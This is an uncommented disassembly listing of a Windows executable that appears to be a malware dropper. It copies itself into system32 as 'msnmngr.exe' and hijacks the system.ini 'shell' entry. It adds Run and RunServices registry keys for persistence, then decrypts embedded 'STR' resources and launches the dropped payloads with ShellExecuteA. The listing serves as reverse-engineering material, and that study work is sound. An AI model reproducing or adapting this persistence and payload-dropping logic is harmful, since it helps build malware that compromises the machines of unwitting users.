		xor	eax, eax
		push	ebp
		push	offset loc_40019AD3
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp-18h]
		call	sub_40017F10
		push	0FFh
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32"
		call	sub_400065B8	; GetSystemDirectoryA
		mov	eax, offset aIfb ; "¨f¡"
		mov	edx, offset aCWindowsSystem ; "C:\\WINDOWS\\system32"
		mov	ecx, 1C8h
		call	sub_40004AF4
		mov	eax, offset aIfb ; "¨f¡"
		mov	edx, offset dword_40019AEC
		call	sub_40004B50
		push	0
		mov	eax, ds:dword_40023C78
		call	sub_40004D48
		push	eax
		lea	edx, [ebp-1Ch]
		xor	eax, eax
		call	sub_40002FF8
		mov	eax, [ebp-1Ch]
		call	sub_40004D48
		push	eax
		call	sub_40006500	; CopyFileA
		push	offset dword_40019AFC
		push	offset aExplorer_exeMs ; "Explorer.exe msnmngr.exe"
		push	offset aShell	; "shell"
		push	offset aBoot	; "boot"
		call	sub_40006668	; WritePrivateProfileStringA
		push	100h
		push	offset aCWindowsSyst_0 ; "C:\\WINDOWS\\system32"
		call	sub_400065B8	; GetSystemDirectoryA
		mov	dl, 1
		mov	eax, ds:off_4001404C
		call	sub_4001414C
		mov	ebx, eax
		mov	edx, 80000002h
		mov	eax, ebx
		call	sub_400141EC
		mov	cl, 1
		mov	edx, offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		mov	eax, ebx
		call	sub_40014250
		test	al, al
		jz	short loc_400194FC
		lea	eax, [ebp-20h]
		mov	edx, offset aCWindowsSyst_0 ; "C:\\WINDOWS\\system32"
		mov	ecx, 100h
		call	sub_40004AF4
		lea	eax, [ebp-20h]
		mov	edx, offset dword_40019B74
		call	sub_40004B50
		mov	ecx, [ebp-20h]
		mov	edx, offset aMsnmgnr ; "msnmgnr"
		mov	eax, ebx
		call	sub_400145A4


loc_400194FC:				; CODE XREF: .itext:400194CCj
		mov	eax, ebx
		call	sub_400141BC
		mov	dl, 1
		mov	eax, ds:off_4001404C
		call	sub_4001414C
		mov	ebx, eax
		mov	edx, 80000002h
		mov	eax, ebx
		call	sub_400141EC
		mov	cl, 1
		mov	edx, offset aSoftwareMicr_1 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		mov	eax, ebx
		call	sub_40014250
		test	al, al
		jz	short loc_4001955D
		lea	eax, [ebp-24h]
		mov	edx, offset aCWindowsSyst_0 ; "C:\\WINDOWS\\system32"
		mov	ecx, 100h
		call	sub_40004AF4
		lea	eax, [ebp-24h]
		mov	edx, offset dword_40019B74
		call	sub_40004B50
		mov	ecx, [ebp-24h]
		mov	edx, offset aMsnmgnr ; "msnmgnr"
		mov	eax, ebx
		call	sub_400145A4


loc_4001955D:				; CODE XREF: .itext:4001952Dj
		mov	eax, ebx
		call	sub_400141BC
		call	sub_400171BC
		call	sub_400173FC
		mov	eax, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		xor	ecx, ecx
		mov	edx, 104h
		call	sub_40003580
		push	104h
		push	offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	0
		call	ds:dword_4001F3AC	; GetModuleFileNameA
		mov	edx, offset aStr ; "STR"
		mov	eax, offset dword_4001F960
		call	sub_40016F88
		test	eax, eax
		jz	loc_40019AB8
		mov	edx, offset dword_4001F964
		mov	ecx, ds:dword_4001F960
		call	sub_40002DFC
		mov	eax, ds:dword_40023B1C
		mov	edx, eax
		mov	eax, offset dword_4001F94C
		call	sub_40004F74
		mov	eax, offset dword_4001F94C
		call	sub_40004DA0
		mov	edx, eax
		mov	eax, offset dword_4001F964
		mov	ecx, ds:dword_40023B1C
		call	sub_40002DFC
		push	ds:dword_40023B50
		push	ds:dword_40023B4C
		push	ds:dword_40023B58
		push	ds:dword_40023B54
		lea	edx, [ebp-28h]
		mov	eax, ds:dword_40023B1C
		call	sub_40016CE8
		mov	edx, [ebp-28h]
		mov	ecx, offset dword_4001F94C
		mov	eax, ds:dword_4001F94C
		call	sub_40006A2C
		mov	eax, offset dword_40023B64
		xor	ecx, ecx
		mov	edx, 4
		call	sub_40003580
		xor	eax, eax
		mov	ds:dword_40023B64, eax
		mov	esi, offset byte_4001F9A5
		mov	edi, offset dword_40023B24
		mov	dword ptr [ebp-14h], offset byte_4001FA13
		mov	ebx, offset dword_4001F6E4


loc_4001964B:				; CODE XREF: .itext:40019AB2j
		mov	eax, offset dword_4001F958
		xor	ecx, ecx
		mov	edx, 4
		call	sub_40003580
		cmp	byte ptr [esi],	0
		jz	loc_40019A95
		mov	eax, [edi]
		mov	edx, eax
		mov	eax, offset dword_4001F950
		call	sub_40004F74
		mov	eax, offset dword_4001F950
		call	sub_40004DA0
		mov	edx, eax
		mov	ecx, [edi]
		mov	eax, esi
		call	sub_40002DFC
		push	ds:dword_40023B50
		push	ds:dword_40023B4C
		push	ds:dword_40023B58
		push	ds:dword_40023B54
		mov	ecx, offset dword_4001F950
		mov	edx, ds:dword_4001F94C
		mov	eax, ds:dword_4001F950
		call	sub_40006A2C
		mov	eax, offset dword_4001F954
		mov	edx, [ebp-14h]
		mov	ecx, 81h
		call	sub_40004AF4
		push	ds:dword_40023B50
		push	ds:dword_40023B4C
		push	ds:dword_40023B58
		push	ds:dword_40023B54
		mov	ecx, offset dword_4001F954
		mov	edx, ds:dword_4001F94C
		mov	eax, ds:dword_4001F954
		call	sub_40006A2C
		xor	eax, eax
		mov	ds:dword_4001F95C, eax
		mov	eax, ds:dword_4001F950
		call	sub_40004D48
		mov	edx, eax
		mov	eax, offset dword_4001F95C
		call	sub_40016F88
		mov	[ebx], eax
		mov	eax, offset dword_4001F958
		mov	edx, ds:dword_4001F95C
		call	sub_40004F74
		cmp	dword ptr [ebx], 0
		jz	loc_40019AB8
		mov	eax, ds:dword_4001F958
		mov	ds:dword_40023E48, eax
		cmp	ds:dword_40023E48, 0
		jz	short loc_4001974E
		mov	eax, ds:dword_40023E48
		sub	eax, 4
		mov	eax, [eax]
		mov	ds:dword_40023E48, eax


loc_4001974E:				; CODE XREF: .itext:4001973Dj
		mov	eax, offset dword_4001F958
		call	sub_40004DA0
		mov	edx, eax
		mov	eax, [ebx]
		mov	ecx, ds:dword_40023E48
		call	sub_40002DFC
		push	ds:dword_40023B50
		push	ds:dword_40023B4C
		push	ds:dword_40023B58
		push	ds:dword_40023B54
		mov	ecx, offset dword_4001F958
		mov	edx, ds:dword_4001F94C
		mov	eax, ds:dword_4001F958
		call	sub_40006A2C
		lea	edx, [ebp-2Ch]
		mov	eax, ds:dword_4001F958
		call	sub_40016D80
		mov	edx, [ebp-2Ch]
		mov	eax, offset dword_4001F958
		call	sub_400048D8
		cmp	ds:byte_40023B5D, 0
		jz	short loc_400197E0
		mov	eax, ds:dword_4001F958
		push	eax
		lea	eax, [ebp-34h]
		push	eax
		call	sub_40016B44
		mov	eax, [ebp-34h]
		push	eax
		lea	eax, [ebp-30h]
		push	eax
		call	sub_40016C04
		mov	edx, [ebp-30h]
		mov	eax, offset dword_4001F958
		call	sub_400048D8


loc_400197E0:				; CODE XREF: .itext:400197B5j
		cmp	ds:byte_40023B5C, 0
		jz	short loc_4001985D
		mov	eax, ds:dword_4001F958
		test	eax, eax
		jz	short loc_400197F7
		sub	eax, 4
		mov	eax, [eax]


loc_400197F7:				; CODE XREF: .itext:400197F0j
		call	sub_40002C20
		mov	ds:dword_4001F5C8, eax
		mov	eax, ds:dword_4001F958
		mov	ds:dword_40023E4C, eax
		cmp	ds:dword_40023E4C, 0
		jz	short loc_40019823
		mov	eax, ds:dword_40023E4C
		sub	eax, 4
		mov	eax, [eax]
		mov	ds:dword_40023E4C, eax


loc_40019823:				; CODE XREF: .itext:40019812j
		mov	eax, offset dword_4001F958
		call	sub_40004DA0
		mov	edx, ds:dword_4001F5C8
		mov	ecx, ds:dword_40023E4C
		call	sub_40002DFC
		mov	edx, ds:dword_4001F954
		mov	eax, ds:dword_4001F5C8
		call	sub_40017A1C
		mov	eax, ds:dword_4001F5C8
		call	sub_40002C3C
		jmp	loc_40019A95
; ---------------------------------------------------------------------------


loc_4001985D:				; CODE XREF: .itext:400197E7j
		push	offset dword_4001F5CC
		lea	eax, [ebp-38h]
		mov	edx, offset word_4001F9D2
		mov	ecx, 41h
		call	sub_40004AF4
		mov	eax, [ebp-38h]
		push	eax
		mov	eax, ds:dword_40023B14
		mov	ecx, eax
		mov	edx, 1
		pop	eax
		call	sub_40004DA8
		push	ds:dword_40023B50
		push	ds:dword_40023B4C
		push	ds:dword_40023B58
		push	ds:dword_40023B54
		mov	ecx, offset dword_4001F5CC
		mov	edx, ds:dword_4001F94C
		mov	eax, ds:dword_4001F5CC
		call	sub_40006A2C
		mov	ds:dword_4001F5D0, 104h
		mov	eax, ds:dword_4001F5D0
		push	eax
		push	offset dword_4001F5D4
		mov	eax, ds:dword_4001F5CC
		call	sub_40004D48
		push	eax
		call	sub_40006578	; GetEnvironmentVariableA
		mov	ds:dword_4001F5D0, eax
		cmp	ds:dword_4001F5D0, 0
		jle	short loc_4001994D
		mov	eax, offset dword_4001F5CC
		mov	edx, ds:dword_4001F5D0
		call	sub_40004F74
		mov	eax, offset dword_4001F5CC
		call	sub_40004DA0
		mov	edx, eax
		mov	eax, offset dword_4001F5D4
		mov	ecx, ds:dword_4001F5D0
		call	sub_40002DFC
		push	ds:dword_4001F5CC
		push	offset dword_40019BE0
		mov	eax, 64h
		call	sub_40003080
		lea	edx, [ebp-3Ch]
		call	sub_40016CE8
		push	dword ptr [ebp-3Ch]
		push	offset dword_40019BEC
		mov	eax, offset dword_4001F5CC
		mov	edx, 4
		call	sub_40004C08
		jmp	short loc_400199A6
; ---------------------------------------------------------------------------


loc_4001994D:				; CODE XREF: .itext:400198E9j
		mov	eax, ds:dword_4001F5CC
		test	eax, eax
		jz	short loc_4001995B
		sub	eax, 4
		mov	eax, [eax]


loc_4001995B:				; CODE XREF: .itext:40019954j
		mov	edx, ds:dword_4001F5CC
		cmp	byte ptr [edx+eax-1], 5Ch
		jz	short loc_40019977
		mov	eax, offset dword_4001F5CC
		mov	edx, offset dword_40019BE0
		call	sub_40004B50


loc_40019977:				; CODE XREF: .itext:40019966j
		push	ds:dword_4001F5CC
		mov	eax, 64h
		call	sub_40003080
		lea	edx, [ebp-40h]
		call	sub_40016CE8
		push	dword ptr [ebp-40h]
		push	offset dword_40019BEC
		mov	eax, offset dword_4001F5CC
		mov	edx, 3
		call	sub_40004C08


loc_400199A6:				; CODE XREF: .itext:4001994Bj
		xor	eax, eax
		mov	ds:dword_4001F6E0, eax
		lea	eax, [ebp-44h]
		mov	edx, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		mov	ecx, 105h
		call	sub_40004AF4
		mov	eax, [ebp-44h]
		mov	ecx, offset dword_4001F6E0
		mov	edx, offset dword_4001F6DC
		call	sub_40017D84
		mov	edx, ds:dword_4001F5CC
		mov	eax, offset dword_4001F6F8
		call	sub_40003328
		mov	edx, 1
		mov	eax, offset dword_4001F6F8
		call	sub_40003724
		call	sub_40002D5C
		mov	eax, ds:dword_4001F958
		mov	ds:dword_40023E50, eax
		cmp	ds:dword_40023E50, 0
		jz	short loc_40019A17
		mov	eax, ds:dword_40023E50
		sub	eax, 4
		mov	eax, [eax]
		mov	ds:dword_40023E50, eax


loc_40019A17:				; CODE XREF: .itext:40019A06j
		push	0
		mov	eax, offset dword_4001F958
		call	sub_40004DA0
		mov	edx, eax
		mov	ecx, ds:dword_40023E50
		mov	eax, offset dword_4001F6F8
		call	sub_4000347C
		call	sub_40002D5C
		cmp	ds:dword_4001F6E0, 0
		jbe	short loc_40019A60
		push	0
		mov	edx, ds:dword_4001F6DC
		mov	ecx, ds:dword_4001F6E0
		mov	eax, offset dword_4001F6F8
		call	sub_4000347C
		call	sub_40002D5C


loc_40019A60:				; CODE XREF: .itext:40019A41j
		mov	eax, offset dword_4001F6F8
		call	sub_4000349C
		call	sub_40002D5C
		push	1
		push	0
		mov	eax, ds:dword_4001F954
		call	sub_40004D48
		push	eax
		mov	eax, ds:dword_4001F5CC
		call	sub_40004D48
		push	eax
		push	offset aOpen	; "open"
		push	0
		call	sub_40016CE0	; ShellExecuteA


loc_40019A95:				; CODE XREF: .itext:4001965Fj
					; .itext:40019858j
		inc	ds:dword_40023B64
		add	ebx, 4
		add	dword ptr [ebp-14h], 81h
		add	edi, 8
		add	esi, 5
		cmp	ds:dword_40023B64, 5
		jnz	loc_4001964B


loc_40019AB8:				; CODE XREF: .itext:400195A2j
					; .itext:40019726j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40019ADA


loc_40019AC5:				; CODE XREF: .itext:40019AD8j
		lea	eax, [ebp-44h]
		mov	edx, 0Ch
		call	sub_400048A8
		retn
; ---------------------------------------------------------------------------


loc_40019AD3:				; DATA XREF: .itext:40019410o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40019AC5
; ---------------------------------------------------------------------------


loc_40019ADA:				; CODE XREF: .itext:40019AD2j
					; DATA XREF: .itext:40019AC0o
		pop	edi
		pop	esi
		pop	ebx
		call	sub_40004790
; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 0Ch
dword_40019AEC	dd 6E736D5Ch, 72676E6Dh, 6578652Eh, 0dword_40019AFC	dd 74737973h, 692E6D65h, 696EhaExplorer_exeMs	db 'Explorer.exe msnmngr.exe',0 ; DATA XREF: .itext:4001947Fo
		align 4
aShell		db 'shell',0            ; DATA XREF: .itext:40019484o
		align 4
aBoot		db 'boot',0             ; DATA XREF: .itext:40019489o
		align 4
		dd 0FFFFFFFFh, 2Dh
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
					; DATA XREF: .itext:400194BEo
		align 4
		dd 0FFFFFFFFh, 0Ch
dword_40019B74	dd 6E736D5Ch, 726E676Dh, 6578652Eh, 0					; .itext:40019544o
		dd 0FFFFFFFFh, 7
aMsnmgnr	db 'msnmgnr',0          ; DATA XREF: .itext:400194F0o
					; .itext:40019551o
		dd 0FFFFFFFFh, 35h
aSoftwareMicr_1	db 'Software\Microsoft\Windows\CurrentVersion\RunServices',0
					; DATA XREF: .itext:4001951Fo
		align 4
aStr		db 'STR',0              ; DATA XREF: .itext:40019591o
		dd 0FFFFFFFFh, 1
dword_40019BE0	dd 5Ch,	0FFFFFFFFh, 4					; .itext:4001996Do
dword_40019BEC	dd 6578652Eh, 0						; .itext:40019992o
aOpen		db 'open',0             ; DATA XREF: .itext:40019A89o
		align 4
		dd ?
_itext		ends

; Section 3. (virtual address 0001A000)
; Virtual size			: 000010D8 (   4312.)
; Section size in file		: 000010D8 (   4312.)
; Offset to raw	data for section: 0001A000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_data		segment	para public 'DATA' use32
		assume cs:_data
		;org 4001A000h
dword_4001A000	dd 0							; sub_400046D4+2w ...
dword_4001A004	dd 0							; sub_40004670+36r ...
dword_4001A008	dd 4FBC33CDh						; sub_40003058+1Dw ...
byte_4001A00C	db 2			; DATA XREF: sub_40003644+4Er
					; .itext:40019012w
		db 8Dh,	40h, 0
off_4001A010	dd offset sub_4000E3EC	; DATA XREF: sub_400052FCr
					; sub_400052FC+9r ...
off_4001A014	dd offset sub_400127B8	; DATA XREF: .data:off_4001AEE4o
off_4001A018	dd offset sub_4000E700	; DATA XREF: sub_4000540Cr
					; sub_4000540C+9r ...
off_4001A01C	dd offset sub_400116DC	; DATA XREF: .data:off_4001B0B4o
off_4001A020	dd offset sub_40011DFC	; DATA XREF: .data:off_4001B024o
word_4001A024	dw 1332h		; DATA XREF: sub_40003B94+6r
					; sub_40003B94:loc_40003C0Cr ...
		dw 0C08Bh
byte_4001A028	db 0			; DATA XREF: sub_40003FE8r
					; sub_40004004r ...
		db 8Dh,	40h, 0
byte_4001A02C	db 0			; DATA XREF: sub_400040D8+52r
					; sub_400040D8:loc_40004165r
		db 8Dh,	40h, 0
byte_4001A030	db 0			; DATA XREF: sub_40004704:loc_40004765r
		db 8Dh,	40h, 0
byte_4001A034	db 1			; DATA XREF: sub_40003328+23r
		db 8Dh,	40h, 0
off_4001A038	dd offset dword_4001A7B4 ; DATA	XREF: sub_40005C08+5r
					; sub_40006184r ...
dword_4001A03C	dd 0A24E60h						; sub_400060A4+18w ...
off_4001A040	dd offset aFastmmBorlandE ; DATA XREF: sub_40006350+3Co
					; "FastMM Borland Edition © 2004, 2005 Pie"...
byte_4001A044	db 0, 0FFh		; DATA XREF: sub_40001734+21o
					; sub_400023F4+11o ...
word_4001A046	dw 10h			; DATA XREF: sub_40002540+17Bo
					; sub_400029B8+6o
		dd 0A24CE0h, 0A24EE0h, 0A2C000h, 2 dup(0A24CE0h), 73300B30h
off_4001A060	dd offset sub_4000134C	; DATA XREF: sub_400029FC+8o
		dd 18FF00h, 0A2C010h, 0A2C408h,	0A33328h, 2 dup(0A2C010h)
		dd 73300B30h
		dd offset sub_40001360
		dd 20FF00h, 0A3A670h, 0A3AAB0h,	0A41980h, 2 dup(0A3A670h)
		dd 73300B30h
		dd offset sub_40001380
		dd 28FF00h, 0A419A0h, 0A41D58h,	0A48CA8h, 2 dup(0A419A0h)
		dd 73300B30h
		dd offset sub_400013AC
		dd 30FF00h, 0A48CD0h, 0A48E10h,	0A4FFD0h, 2 dup(0A48CD0h)
		dd 73300B30h
		dd offset sub_400013CC
		dd 38FF00h, 4001A0E4h, 0A33440h, 0A3A638h, 0A33340h, 4001A0E4h
		dd 73300B30h
		dd offset sub_400013F0
		dd 40FF00h, 4001A104h, 986AC0h,	0
		dd 986A60h, 4001A104h, 73300B30h
		dd offset sub_4000141C
		dd 48FF00h, 4001A124h, 0A1DAA8h, 0A24C98h, 0A1D9B0h, 4001A124h
		dd 73300B30h
		dd offset sub_4000144C
		dd 50FF00h, 4001A144h, 0A062B0h, 0
		dd 0A06240h, 4001A144h,	73300B30h, 40001484h, 58FF00h
		dd 4001A164h, 9BDB38h, 0
dword_4001A174	dd 9B4220h, 4001A164h, 73300B30h, 40001484h, 60FF00h, 4001A184h
		dd 0A167C0h, 0A1D950h, 0A16680h, 4001A184h, 73300B30h
		dd 40001484h, 68FF00h, 4001A1A4h, 1, 2 dup(0)
		dd offset dword_4001A174+30h
dword_4001A1BC	dd 73300B30h, 40001484h, 70FF00h, 4001A1C4h, 1,	2 dup(0)
					; DATA XREF: .data:4001A1D8o
		dd offset dword_4001A1BC+8
dword_4001A1DC	dd 73300B30h, 40001484h, 78FF00h, 4001A1E4h, 1,	2 dup(0)
					; DATA XREF: .data:4001A1F8o
		dd offset dword_4001A1DC+8
dword_4001A1FC	dd 73300B30h, 40001484h, 80FF00h, 4001A204h, 1,	2 dup(0)
					; DATA XREF: .data:4001A218o
		dd offset dword_4001A1FC+8
dword_4001A21C	dd 73300B30h, 40001484h, 88FF00h, 4001A224h, 1,	2 dup(0)
					; DATA XREF: .data:4001A238o
		dd offset dword_4001A21C+8
dword_4001A23C	dd 73300B30h, 40001484h, 90FF00h, 4001A244h, 1,	2 dup(0)
					; DATA XREF: .data:4001A258o
		dd offset dword_4001A23C+8
dword_4001A25C	dd 73300B30h, 40001484h, 98FF00h, 4001A264h, 1,	2 dup(0)
					; DATA XREF: .data:4001A278o
		dd offset dword_4001A25C+8
		dd 73300B30h, 40001484h, 0A0FF00h, 4001A284h, 98DE50h
		dd 0
dword_4001A294	dd 98DD90h, 4001A284h, 73300B30h, 40001484h, 0B0FF00h
		dd 4001A2A4h, 1, 2 dup(0)
		dd offset dword_4001A294+10h
dword_4001A2BC	dd 73300B30h, 40001484h, 0C0FF00h, 4001A2C4h, 1, 2 dup(0)
					; DATA XREF: .data:4001A2D8o
		dd offset dword_4001A2BC+8
dword_4001A2DC	dd 73300B30h, 40001484h, 0D0FF00h, 4001A2E4h, 1, 2 dup(0)
					; DATA XREF: .data:4001A2F8o
		dd offset dword_4001A2DC+8
dword_4001A2FC	dd 73300B30h, 40001484h, 0E0FF00h, 4001A304h, 1, 2 dup(0)
					; DATA XREF: .data:4001A318o
		dd offset dword_4001A2FC+8
dword_4001A31C	dd 73300B30h, 40001484h, 0F0FF00h, 4001A324h, 1, 2 dup(0)
					; DATA XREF: .data:4001A338o
		dd offset dword_4001A31C+8
dword_4001A33C	dd 73300B30h, 40001484h, 100FF00h, 4001A344h, 1, 2 dup(0)
					; DATA XREF: .data:4001A358o
		dd offset dword_4001A33C+8
dword_4001A35C	dd 73300B30h, 40001484h, 110FF00h, 4001A364h, 1, 2 dup(0)
					; DATA XREF: .data:4001A378o
		dd offset dword_4001A35C+8
dword_4001A37C	dd 73300B30h, 40001484h, 120FF00h, 4001A384h, 1, 2 dup(0)
					; DATA XREF: .data:4001A398o
		dd offset dword_4001A37C+8
dword_4001A39C	dd 73300B30h, 40001484h, 130FF00h, 4001A3A4h, 1, 2 dup(0)
					; DATA XREF: .data:4001A3B8o
		dd offset dword_4001A39C+8
dword_4001A3BC	dd 72300B30h, 40001484h, 140FF00h, 4001A3C4h, 1, 2 dup(0)
					; DATA XREF: .data:4001A3D8o
		dd offset dword_4001A3BC+8
		dd 73300B30h, 40001484h, 160FF00h, 4001A3E4h, 986BE0h
		dd 0
		dd 986A60h, 4001A3E4h, 73300B30h, 40001484h, 180FF00h
		dd 4001A404h, 9E7FC0h, 0
dword_4001A414	dd 9E7E20h, 4001A404h, 72300B30h, 40001484h, 1A0FF00h
		dd 4001A424h, 1, 2 dup(0)
		dd offset dword_4001A414+10h
dword_4001A43C	dd 72300B30h, 40001484h, 1C0FF00h, 4001A444h, 1, 2 dup(0)
					; DATA XREF: .data:4001A458o
		dd offset dword_4001A43C+8
dword_4001A45C	dd 72300B30h, 40001484h, 1E0FF00h, 4001A464h, 1, 2 dup(0)
					; DATA XREF: .data:4001A478o
		dd offset dword_4001A45C+8
dword_4001A47C	dd 73300B30h, 40001484h, 210FF00h, 4001A484h, 1, 2 dup(0)
					; DATA XREF: .data:4001A498o
		dd offset dword_4001A47C+8
dword_4001A49C	dd 72300B30h, 40001484h, 240FE00h, 4001A4A4h, 1, 2 dup(0)
					; DATA XREF: .data:4001A4B8o
		dd offset dword_4001A49C+8
dword_4001A4BC	dd 73302B30h, 40001484h, 270FE00h, 4001A4C4h, 1, 2 dup(0)
					; DATA XREF: .data:4001A4D8o
		dd offset dword_4001A4BC+8
dword_4001A4DC	dd 75302B30h, 40001484h, 2A0FE00h, 4001A4E4h, 1, 2 dup(0)
					; DATA XREF: .data:4001A4F8o
		dd offset dword_4001A4DC+8
		dd 7E302B30h, 40001484h, 2E0FE00h, 4001A504h, 98E090h
		dd 0
dword_4001A514	dd 98DD90h, 4001A504h, 8A302B30h, 40001484h, 320FE00h
		dd 4001A524h, 1, 2 dup(0)
		dd offset dword_4001A514+10h
dword_4001A53C	dd 96302B30h, 40001484h, 370FE00h, 4001A544h, 1, 2 dup(0)
					; DATA XREF: .data:4001A558o
		dd offset dword_4001A53C+8
dword_4001A55C	dd 0A5302B30h, 40001484h, 3C0FE00h, 4001A564h, 1, 2 dup(0)
					; DATA XREF: .data:4001A578o
		dd offset dword_4001A55C+8
dword_4001A57C	dd 0B4302B30h, 40001484h, 420FE00h, 4001A584h, 1, 2 dup(0)
					; DATA XREF: .data:4001A598o
		dd offset dword_4001A57C+8
dword_4001A59C	dd 0C6302B30h, 40001484h, 480FE00h, 4001A5A4h, 1, 2 dup(0)
					; DATA XREF: .data:4001A5B8o
		dd offset dword_4001A59C+8
dword_4001A5BC	dd 0D8302B30h, 40001484h, 4F0FC00h, 4001A5C4h, 1, 2 dup(0)
					; DATA XREF: .data:4001A5D8o
		dd offset dword_4001A5BC+8
dword_4001A5DC	dd 0ED304B30h, 40001484h, 560FC00h, 4001A5E4h, 1, 2 dup(0)
					; DATA XREF: .data:4001A5F8o
		dd offset dword_4001A5DC+8
		dd 0FD304B30h, 40001484h, 5E0FC00h, 4001A604h, 987060h
		dd 0
dword_4001A614	dd 986A60h, 4001A604h, 0FD304B30h, 40001484h, 670FC00h
		dd 4001A624h, 1, 2 dup(0)
		dd offset dword_4001A614+10h
dword_4001A63C	dd 0FB304B30h, 40001484h, 710FC00h, 4001A644h, 1, 2 dup(0)
					; DATA XREF: .data:4001A658o
		dd offset dword_4001A63C+8
dword_4001A65C	dd 0FF304B30h, 40001484h, 7C0F800h, 4001A664h, 1, 2 dup(0)
					; DATA XREF: .data:4001A678o
		dd offset dword_4001A65C+8
dword_4001A67C	dd 0F8306B30h, 40001484h, 880F800h, 4001A684h, 1, 2 dup(0)
					; DATA XREF: .data:4001A698o
		dd offset dword_4001A67C+8
dword_4001A69C	dd 0FF306B30h, 40001484h, 950F800h, 4001A6A4h, 1, 2 dup(0)
					; DATA XREF: .data:4001A6B8o
		dd offset dword_4001A69C+8
dword_4001A6BC	dd 0FC306B30h, 40001484h, 0A30F000h, 4001A6C4h,	1, 2 dup(0)
					; DATA XREF: .data:4001A6D8o
		dd offset dword_4001A6BC+8
dword_4001A6DC	dd 0FF308B30h, 40001484h, 0A30F000h, 4001A6E4h,	1, 2 dup(0)
					; DATA XREF: .data:4001A6F8o
		dd offset dword_4001A6DC+8
dword_4001A6FC	dd 0FF308B30h, 40001484h, 0A30F000h, 4001A704h,	1, 2 dup(0)
					; DATA XREF: .data:4001A718o
		dd offset dword_4001A6FC+8
		dd 0FF308B30h, 40001484h
off_4001A724	dd offset sub_40001734	; DATA XREF: sub_40002C20+4r
					; sub_40002C54+3Fr
off_4001A728	dd offset sub_40001A9C	; DATA XREF: sub_40002C3C+4r
					; sub_40002C54+26r ...
off_4001A72C	dd offset sub_40001C7C	; DATA XREF: sub_40002C54+Dr
off_4001A730	dd offset sub_40002004	; DATA XREF: sub_40002C08+4r
		dd offset sub_4000235C
		dd offset sub_4000239C
byte_4001A73C	db 0			; DATA XREF: sub_40002D04+35r
aRsu		db 'ËÌÈÉ×ÏÈÍÎÛØÚÙÊÜÝÞßàáã',0
aFxn@		db 'äå@',0
dword_4001A758	dd 3				align 10h
		dd 1, 2, 3, 3 dup(0)
aError		db 'Error',0            ; DATA XREF: sub_40004704+6Co
		dw 0C08Bh
aRuntimeErrorAt	db 'Runtime error     at 00000000',0 ; DATA XREF: sub_40004670+3o
					; sub_40004704+32o ...
		dw 0C08Bh
byte_4001A7A0	db 30h			; DATA XREF: sub_40004670+41r
		db 31h,	32h, 33h
		dd 37363534h, 42413938h, 46454443h
TlsIndex	dd 0			; DATA XREF: sub_400063E4+Cr
					; sub_400063E4+37r ...
dword_4001A7B4	dd 0							; sub_40006474+33o ...
dword_4001A7B8	dd 40000000h	dword_4001A7BC	dd 0		dword_4001A7C0	dd 0				dd 40000000h, 0
dword_4001A7CC	dd 4 dup(0)						; .data:off_4001AFA8o
dword_4001A7DC	dd 0		dword_4001A7E0	dd 0		dword_4001A7E4	dd 2							; sub_4000B830+32r ...
dword_4001A7E8	dd 5							; sub_4000BDA0+5Br
dword_4001A7EC	dd 1		dword_4001A7F0	dd 0A28h						; sub_4000B830+4Fw
dword_4001A7F4	dd 0A3A838h						; sub_4000CC50+4Fo
word_4001A7F8	dw 32h			; DATA XREF: sub_4000A1CC+1ADr
					; sub_4000A1CC+1C9r
		dw 0C08Bh
dword_4001A7FC	dd 1C001Fh, 2 dup(1E001Fh), 1F001Fh, 2 dup(1F001Eh), 1D001Fh
					; DATA XREF: sub_40009050+24o
					; sub_4000911C+FCo
		dd 2 dup(1E001Fh), 1F001Fh, 2 dup(1F001Eh)
dword_4001A82C	dd 0							; sub_400096A8+33Br ...
		dd 7 dup(0)
off_4001A84C	dd offset dword_40007828 ; DATA	XREF: sub_4000CC50+128o
					; sub_400190AC+37o ...
dword_4001A850	dd 7C83039Bh	; resolved to->KERNEL32.GetDiskFreeSpaceExA					; sub_4000C4D8:loc_4000C4F9r ...
off_4001A854	dd offset dword_40007FCC ; DATA	XREF: sub_40007FDC+3Br
					; sub_4000CC50+132o
		dd offset dword_40007FCC+0Ch
off_4001A85C	dd offset off_40006BD8	; DATA XREF: sub_4000828C+43r
					; .text:4000CC44o
off_4001A860	dd offset off_40006BE0	; DATA XREF: .text:4000CC38o
tbyte_4001A864	dt 1.0e18		; DATA XREF: sub_40008B01+63r
		dw 0C08Bh
flt_4001A870	db 0Ah,	0, 0, 0		; DATA XREF: sub_400087BC+23r
					; sub_40008B01+78r ...
word_4001A874	dw 133Fh		; DATA XREF: sub_40008D00+25r
		dw 0C08Bh
flt_4001A878	dd 8.64e7		; DATA XREF: sub_40008F04+Br
dword_4001A87C	dd 5265C00h						; sub_40008F04:loc_40008F33r
dword_4001A880	dd 642A2E25h	off_4001A884	dd offset off_40006CB0	; DATA XREF: sub_4000A91C+3Ao
					; .text:4000CC2Co
off_4001A888	dd offset off_40006CB8	; DATA XREF: .text:4000CC20o
off_4001A88C	dd offset off_40006CC0	; DATA XREF: .text:4000CC14o
off_4001A890	dd offset off_40006CC8	; DATA XREF: .text:4000CC08o
off_4001A894	dd offset off_40006CD0	; DATA XREF: .text:4000CBFCo
off_4001A898	dd offset off_40006CD8	; DATA XREF: .text:4000CBF0o
off_4001A89C	dd offset off_40006CE0	; DATA XREF: .text:4000CBE4o
off_4001A8A0	dd offset off_40006CE8	; DATA XREF: .text:4000CBD8o
off_4001A8A4	dd offset off_40006CF0	; DATA XREF: .text:4000CBCCo
off_4001A8A8	dd offset off_40006CF8	; DATA XREF: .text:4000CBC0o
off_4001A8AC	dd offset off_40006D00	; DATA XREF: .text:4000CBB4o
off_4001A8B0	dd offset off_40006D08	; DATA XREF: .text:4000CBA8o
